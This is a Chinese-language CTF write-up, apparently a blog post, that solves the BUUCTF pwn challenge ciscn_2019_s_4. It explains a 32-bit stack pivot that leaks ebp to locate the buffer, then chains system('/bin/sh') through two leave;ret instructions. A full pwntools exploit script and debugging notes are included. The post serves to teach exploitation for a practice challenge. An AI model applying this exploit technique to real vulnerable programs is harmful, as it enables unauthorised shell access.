【Pwn】BUUCTF ciscn_2019_s_4 wp 栈迁移

前言

因为做的时候心态崩了,此wp当个人日记来写了 = =

WP

查看保护:32位程序,开启了nx保护

请添加图片描述

查看hack函数:

请添加图片描述
这是echo flag,不是flag.txt,所以ret到这里不能得到flag
虽然没有用,但是帮我们引入了system函数,就不需要ret2libc了,我们再写入“/bin/sh”构造ROP链就行

查看vuln函数:

请添加图片描述
可进行两次输入,都是往&s[ebp-0x28]里面写内容,那么第二次写会把第一次写的内容覆盖,我们只能写入0x30字节不足以ret到system函数执行system(“/bin/sh”),不得不进行栈迁移

思路:

首先我们需要寻找一个固定的位置来作为我们的栈迁移位置,也就是执行我们写入的获取shell的代码位置,我们写入的&s在栈中而不是bss段,那么只能从寻找栈中s的地址作为栈迁移地址

如果写入0x30,那么Printf输出的是写入的前0x28个的数据,和0x4字节的ebp和0x4字节的ret

那么可以通过第一个输入点通过自己构造的payload来泄露ebp的值,虽然程序每次运行时的ebp会发生变化,但是它与s的相对位置不会变化

我们可以通过gdb动调找一下栈中s距离ebp的距离,用于表示&s的位置,即栈迁移的位置,方便第二次往ebp写入其相对地址。

在第二个输入点向s写入执行system(“/bin/sh”)的相关指令,利用两次leave_ret将栈迁移到s处,执行栈中s地址里的指令,获取shell

调试:“遇事不决,可问动调”

第一次写入“aaaa”
第二次写入“bbbb”
通过不断步入直到第二次输出(call printf)指令左右,查看栈内容:
此时“aaaa”已经被覆盖为“bbbb”
$ebp=0xffffd018

&s=0xffffcfe0
在这里插入图片描述

计算偏移:0x38

在这里插入图片描述

查看leave_ret指令的地址:

可以用vuln函数和其他函数自带的leave_ret的地址
也可用ROPgadget找到的地址:

在这里插入图片描述

解析payload2:

payload=p32(sys)+b'aaaa'+p32(stack_add+12)+bin_sh

sys是system函数,返回地址覆盖为‘aaaa’,参数地址为 s + 12,因为“/bin/sh”写到了第4个位置,一个位置4字节,sys的地址是sys=s+0*4
那么“/bin/sh”地址就是s+(4-1)*4

后面就没什么说的了

payload=payload.ljust(0x28,b'a')
payload+=p32(stack_add-4)+p32(leave_ret)

构造Exp:

from pwn import *
context(os='linux', arch='i386', log_level='debug')
io=process('./ciscn_s_4')
#io=remote('node4.buuoj.cn',28463)
elf = ELF('./ciscn_s_4')
#libc=("./libc.6.so")

sd=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
ra=lambda :io.recv()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)

sys=elf.plt['system']
leave_ret=0x080484b8
#leave_ret=0x080485FD #这个是vuln函数里的指令,一样可以成功
flag=0x0804854B #Virtual flag

ru("What's your name?")

payload=b'a'*0x27+b'b'#设置标志为“b”
sd(payload)

ru("b")#接收到“b”时停止

stack_add=u32(rn(4))-0x38 #再接收4个字符即ebp,解码后-0x38得到s的地址
print(hex(stack_add))
rl()
bin_sh=b"/bin/sh\x00"
#写入的bin/sh 距离s+0x12,实际上system调用的是参数 s + 12 地址的bin/sh
payload=p32(sys)+b'aaaa'+p32(stack_add+12)+bin_sh
payload=payload.ljust(0x28,b'a')
payload+=p32(stack_add-4)+p32(leave_ret)

#gdb.attach(io)
sd(payload)
#pause()
io.interactive()

注意:

发送时用io.send(),不要用io.sendline(),

用了sendline()我自闭了一个小时!一个小时!!!payload没问题,但就是不能get shell !!
因为io.sendline()会多发一个0xa也就是“\n”,我们在构造payload的时候就已经写入了0x30字节大小,多出来的这个0xa会导致程序输入出错,就不能执行正确的结果了= =

运行Exp:

在这里插入图片描述

得到flag:

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值